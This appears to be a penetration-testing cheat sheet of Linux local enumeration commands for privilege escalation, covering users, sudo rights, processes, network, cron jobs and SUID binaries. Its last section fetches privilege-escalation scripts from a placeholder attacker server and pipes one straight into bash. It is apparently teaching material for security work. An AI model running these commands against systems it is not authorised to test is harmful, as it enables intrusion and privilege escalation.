Local Enumeration
Users
Enumerate the current user ID (UID), group ID (GID), and the groups the user belongs to.
id
uid=1001(john) gid=1001(john) groups=1001(john),27(sudo) # john's resultEnumerate basic information of all users using /etc/passwd.
cat /etc/passwdThe following example describes a line of /etc/passwd file.
john:x:1001:1001:John Doe:/home/john:/bin/bash
username:password:uid:gid:gecos:home directory:shellUsername: The login name (1-32 characters).
Password: An
xmeans the password is stored in/etc/shadow.User ID (UID): Unique ID for the user. UID 0 is for root, 1-99 are reserved, and 100-999 are for system accounts.
Group ID (GID): The primary group ID, found in
/etc/group.User Info (GECOS): Optional user information like full name or contact info.
Home Directory: The user's default directory when logging in.
Shell: The user's default shell, like
/bin/bash, or/sbin/nologinto prevent login.
System information
Enumerate hostname.
hostnameEnumerate operating system version.
cat /etc/issuecat /etc/os-releaseEnumerate kernel version and architecture.
uname -aUser configurations
list sudoer capabilities of current user.
sudo -lList environment variables.
envList config files such as bash profile.
ls -la <home_directory>Processes
Enumerate all processes in a user readable format.
ps auxMonitor Processes.
watch -n 1 "ps -aux | grep pass"It also possible to monitor running processes at live time using pspy tool.
Network
Enumerate all network interfaces, this includes physical and virtual networks.
ip aifconfigDisplay the routing tables.
routeEnumerate connections.
ss -anpnetstat -tulnpEnumerate firewall rules.
cat /etc/iptables/rules.v4Scheduled tasks
Scheduled tasks in Linux also known as "Cron Jobs" and configured using the crontab command-line tool.
Crontab Files
User-specific crontabs: Stored separately for each user and managed by the
crontabcommand.System-wide crontab: Found in
/etc/crontab. This file allows specifying jobs for different users.Cron directories:
/etc/cron.hourly: Tasks that run every hour./etc/cron.daily: Tasks that run daily./etc/cron.weekly: Tasks that run weekly./etc/cron.monthly: Tasks that run monthly.
Listing tasks files.
ls -lah /etc/cron*Find tasks in the system logs.
grep "CRON" /var/log/syslogEnumerate the current user's scheduled jobs.
crontab -lApplication
Listing installed applications.
dpkg -lFile System
List all drives at boot time.
cat /tec/fstabList all mounted file systems.
mountList all available disks.
lsblkEnumerate loaded Kernel modules.
lsmodGather more information about the kernel module.
/sbin/modinfo <module>SUID Binaries
Enumerate SUID binaries.
find / -perm /4000 -type f 2>/dev/nullAutomated Enumeration
Download and execute LinPEAS or unix-privesc-check:
# LinPEAS
curl -L http://<attacker_http_server>/linpeas.sh | bash
# unix-privesc-check
wget http://<attacker_http_server>/unix-privesc-check && chmod +x unix-privesc-check && ./unix-privesc-check <standard | detailed> Last updated